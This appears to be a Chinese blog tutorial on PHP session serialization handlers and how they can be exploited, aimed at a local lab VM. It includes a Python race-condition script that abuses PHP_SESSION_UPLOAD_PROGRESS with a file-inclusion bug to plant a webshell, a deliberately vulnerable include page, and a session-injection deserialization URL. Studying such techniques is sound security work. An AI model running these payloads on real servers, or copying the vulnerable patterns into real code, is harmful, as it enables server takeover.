PHP的序列化处理器
PHP
的序列化处理器有三种
php
1 2 3 4 5 6 7 8
| <?php ini_set('session.serialize_handler','php'); session_start(); $_SESSION["abc"] = 123; $_SESSION["qwe"] = 789; ?>
|
php_serialize
PHP Version >= 5.5.4
1 2 3 4 5 6 7 8
| <?php ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION["abc"] = 123; $_SESSION["qwe"] = 789; ?>
|
php_binary
1 2 3 4 5 6
| <?php ini_set('session.serialize_handler','php_binary'); session_start(); $_SESSION["abc"] = 123; $_SESSION["qwe"] = 789; ?>
|
session
文件的内容如下
以上三种序列化处理器的处理方式(KEY
代表$_SESSION
数组的键,
比如abc
):
php
KEY
+|
+serialize($_Session["KEY"])
+;
php_serialize
php_binary
char(len(KEY))
+KEY
+serialize("KEY")
+;
serialize()函数的序列化方式
[TO BE CONTINUE...]
PHP的会话机制
工作方式
PHP
采用session
来保存与用户的会话信息,
如果服务端开启了session
(通过session_start()
),
当用户访问页面时, 服务端会返回名为PHPSESSID
(默认值,
取决于session.name
)的Cookie
.
1 2 3
| <?php session_start(); ?>
|
并且会在session
的储存目录(取决于session.save_path
,
我这里是~/tmp/
,
因为通过docker
搭建的环境为了方便,
所以映射到了宿主机的~/mapping/tmp/
)下生成名为sess_ + PHPSESSID
的文件
服务端开启session
,
如果用户访问时没有携带PHPSESSID
,
服务端会生成一个PHPSESSID
返回给用户,
并创建一个$_SESSION
的变量,
服务端可以将和用户的会话信息存储在$_SESSION
变量里,
当本次请求执行完成时,
$_SESSION
变量将被序列化处理器(取决于session.serialize_handler
)序列化后写入到session
的储存目录中.
当用户第二次访问时, 就会携带上PHPSESSID
,
服务端根据PHPSESSID
找到对应的文件,
通过反序列化处理器反序列化后将所得数据再次写回$_SESSION
变量,
实现会话的数据保存.
测试:
1 2 3 4 5 6 7 8
| <?php session_start(); if (isset($_SESSION["count"])) $_SESSION["count"] += 1; else $_SESSION["count"] = 1; echo $_SESSION["count"]; ?>
|
连续访问15次, 浏览器依次显示1~15, 查看session
文件
如果服务端没有打开session.use_strict_mode
(默认关闭),
可以主动控制PHPSESSID
的值,
从而控制服务端session
文件的名字,
后面可以通过这个特点结合文件包含实现上传恶意代码.
PHP_SESSION_UPLOAD_PROGRESS
有时候, 服务端并没有开启session
,
这时候想通过常规方式往服务器写恶意的session
文件就行不通了,
但是通常情况下,
服务器端默认开启了session.upload_progress.enabled
这个选项.
当这个选项开启时,
无论服务端页面是否开启session
(根据PHP文档的说法,
这个功能的优先级在脚本执行之前),
服务端都会生成PHPSESSID
并将$_SESSION
变量写入session
储存目录.
上传页面, poc.html
1 2 3 4 5
| <form action="http://vm-ubuntu.local/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>
|
服务端页面, index.php
, 为空就行
随便上传个文件, 抓包添加一个Cookie: PHPSESSID=123
看起来貌似什么也没发生,
但是服务端实际上已经创建了一个名为sess_123
的session
的文件,
然后迅速删掉了.
写个脚本快速地上传, 产生竞争, 就可以看到服务器上的文件内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import requests import io
from concurrent.futures import ThreadPoolExecutor, ALL_COMPLETED, wait
pool = ThreadPoolExecutor(32) task_list = []
def upload(): while True: url = "http://vm-ubuntu.local/index.php" headers = {"Cookie": "PHPSESSID=123"} data = {"PHP_SESSION_UPLOAD_PROGRESS": "something"} files = {"file": ("blank.bin", io.BytesIO(b'\xcc'*1024*1024))} requests.post(url=url, headers=headers, data=data, files=files)
for i in range(32): task_list.append(pool.submit(upload)) wait(task_list, return_when=ALL_COMPLETED)
|
可以发现, 可控内容的地方有很多处,
只需要利用其中一处, 再和文件包含漏洞结合起来,
就可以实现恶意代码执行.
PHP_SESSION_UPLOAD_PROGRESS结合LFI
先创建一个有本地文件包含漏洞的页面
1 2 3 4
| <?php if (isset($_GET["file"])) include $_GET["file"]; ?>
|
改造一下脚本, 使其能够通过竞争将恶意代码执行,
前提是知道session
的储存位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| import requests import io
from concurrent.futures import ThreadPoolExecutor, ALL_COMPLETED, wait
pool = ThreadPoolExecutor(32) task_list = []
payload = r"""<?php eval("fwrite(fopen('shell.php', 'wb'), '<?php @eval(\$_POST[\\'cmd\\']); ?>');"); ?>"""
def upload(): while True: url = "http://vm-ubuntu.local/index.php" headers = {"Cookie": "PHPSESSID=123"} data = {"PHP_SESSION_UPLOAD_PROGRESS": payload} files = {'file': ("blank.bin", io.BytesIO(b'\xcc'*1024*1024))} requests.post(url=url, headers=headers, data=data, files=files)
def write_shell(): while True: url = "http://vm-ubuntu.local/lfi.php" params = {"file": "/tmp/sess_123"} requests.get(url=url, params=params)
for i in range(16): task_list.append(pool.submit(upload)) task_list.append(pool.submit(write_shell)) wait(task_list, return_when=ALL_COMPLETED)
|
于是就可以成功写入webshell
.
反序列化漏洞
错误组合不同的序列化处理器导致漏洞
PHP
序列化和反序列化$_SESSION
变量的方式由session.serialize_handler
决定,
php_serialize
在5.5.4及以上的版本才可用,
如在一个页面采用php_serialize
进行序列化,
而另一个页面采用php
来反序列化,
就会导致session
注入漏洞.
实例:
1 2 3 4 5 6
| <?php ini_set("session.serialize_handler", "php_serialize"); session_start(); $_SESSION["name"] = $_GET["name"]; $_SESSION["age"] = $_GET["age"]; ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php ini_set("session.serialize_handler", "php"); session_start();
class Vul { public $greet; function __wakeup(){ echo "Exploited"."<br/>"; }
function __destruct(){ echo $this->greet."<br/>"; } } $i = new Vul(); $i->greet = "Hello!"; echo serialize($i)."<br/>"; ?>
|
请求pageA.php
查看session
文件
可以通过控制name
或者age
的值来实现注入,
在前面加上|
,
php
序列化处理器就会认为|
前面的是键,
后面是键对应的值序列化后的内容.
构造URL:
http://vm-ubuntu.local/pageA.php?name=abc&age=|O:3:"Vul":1:{s:5:"greet";s:6:"Hahaha";};
请求之后再次查看session
文件
此时再去请求pageB.php
成功的调用了pageB.php
里Vul
类的__wakeup()
方法,
并实现了控制对象内部变量的值.
关于这个输出是怎么来的:
1 2 3 4
| Exploited //对session文件进行反序列化前调用__wakeup() O:3:"Vul":1:{s:5:"greet";s:6:"Hello!";} //echo serialize($i)."<br/>" 的输出 Hello! //执行结束, 变量$i析构的时候调用__destruct()函数 Hahaha //执行结束, $_SESSION变量中的对象析构的时候调用__destruct()函数
|
参考:
- 浅谈
SESSION_UPLOAD_PROGRESS 的利用 - 腾讯云开发者社区-腾讯云
(tencent.com)
- php序列化
- l3m0n - 博客园 (cnblogs.com)
- 带你走进PHP
session反序列化漏洞 - 先知社区 (aliyun.com)
- PHP:
Session 上传进度 - Manual